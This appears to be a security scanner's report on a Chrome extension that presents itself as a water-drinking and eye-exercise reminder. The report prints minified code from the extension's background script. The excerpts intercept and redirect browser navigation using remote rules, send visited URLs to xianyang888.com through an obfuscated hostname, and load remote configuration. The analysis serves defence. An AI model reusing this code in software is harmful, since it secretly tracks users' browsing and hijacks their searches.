Security Warning: Policy Violation
健康提醒
ID: gefpceefdmmojbgmfmnkeanmpclobjgj
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- udicxView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- Yes
- Is role-based
- No
- Mailbox exists
- Yes
根据国家高级营养师推荐的时刻表制作的提醒小工具（饮水、眼保健操）
定时提醒上网的人喝水、做眼保健操 可以设置喝水的时间点和喝水的量，做眼保健操的时间点和持续做多久 提示信息显示在页面右下角 默认时刻表是根据国家高级营养师推荐来设定的
The background script installs a webRequest.onBeforeRequest listener on all URLs with blocking permission. It intercepts every main-frame GET request, extracts search queries, and redirects the browser to a different URL based on remote rules. This is typical adware/affiliate-fraud behavior.
o = function(e) { let r = e.tabId > 0, o = "GET" == e.method, i = "main_frame" == e.type, a = l(e.url, "http"), c = e.url, u = e.tabId; if (r && o && i && a) { w({ active: !0, currentWindow: !0 }, (function(e) { var t; chrome.runtime.lastError || (t = e[0].id, setTimeout((function() { w({ active: !0, currentWindow: !0 }, (function(e) { 0 != e.length && e[0].id == t && function(e, t, n) { chrome.tabs.sendMessage(e, t, (function(e) { n(e) })) }(e[0].id, { cmd: "jtsk", jtsk: m }, (function(e) { chrome.runtime.lastError })) })) }), 1e3) })); ... let e = "", r = !1, o = "", i = "", a = !1, f = function(e, t) { ... return { targetUrl: r, reportFlag: o, next: i, tagKey: a, tagValue: (new Date).getTime() + t.toString() } }(c, u); ... if ("" != e) { if (!r) return a && n(c), d(o, i), { redirectUrl: e }; if (b) return a && n(c), d(o, i), { redirectUrl: e } } } } chrome.webRequest.onBeforeRequest.addListener(o, { urls: ["<all_urls>"] }, ["blocking"]);This function exfiltrates the visited URL (parameter 'h') to a remote server at http://www.xianyang888.com/web/xylog.lg, along with extension version and other identifiers. The data collection is not disclosed in the Chrome Web Store privacy disclosure ('none declared') and serves no legitimate health-reminder purpose.
function n(e) { navigator.onLine && f("bulo", (function(t) { let n = { a: t.bulo.bc.a, b: t.bulo.bc.b, c: t.bulo.bc.c, d: chrome.app.getDetails().version, e: (new Date).getTime(), f: 79, g: 0, h: e, i: a(), j: 103, l: 201, m: 0, p: 65, s: 1 }, r = "h"; r += u("t", 2), r += u("p", 1), r += u("w", 3), r += ".xi", r += "an", r += "ya", r += "ng", r += u("8", 3), r += ".com", r += "/web/", r += "xylog", r += ".lg?"; let o = ""; n.n = y(n.a + n.c + n.f + n.l).toUpperCase(); for (let e = 0; e < Object.keys(n).length; e++) { let t = Object.keys(n)[e]; o = o + t + "=" + n[t], e != Object.keys(n).length - 1 && (o += "&") } let i = new x; r += i.encode(i.encode(o)), c(r, (function(e) {})) }))}The extension fetches a remote configuration from xianyang888.com and decodes it to obtain redirect rules (object 'p') and search-keyword patterns ('jtsk'). This allows the attacker to update the malicious behaviour without updating the extension, constituting remote code/configuration loading.
buffaloInit: function() { chrome.storage.local.get(["holiday"], (function(e) { "{}" == JSON.stringify(e) ? r.holiday = {} : r.holiday = e })), ... let i = "h"; i += u("t", 2), i += u("p", 1), i += u("w", 3), i += ".xi", i += "an", i += "ya", i += "ng", i += u("8", 3), i += ".com", i += "/ap/", i += "netStatus"; let l = new x; p = JSON.parse(l.decode(l.decode(l.decode(e.bulo.bc.mp)))), null != p.jtsk && ( m = p.jtsk), e.bulo.bc.mp != h && setTimeout((function() { c(i, (function() { b = !0 })) }), 5e3)}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.13 | 3 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/bg.js3
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.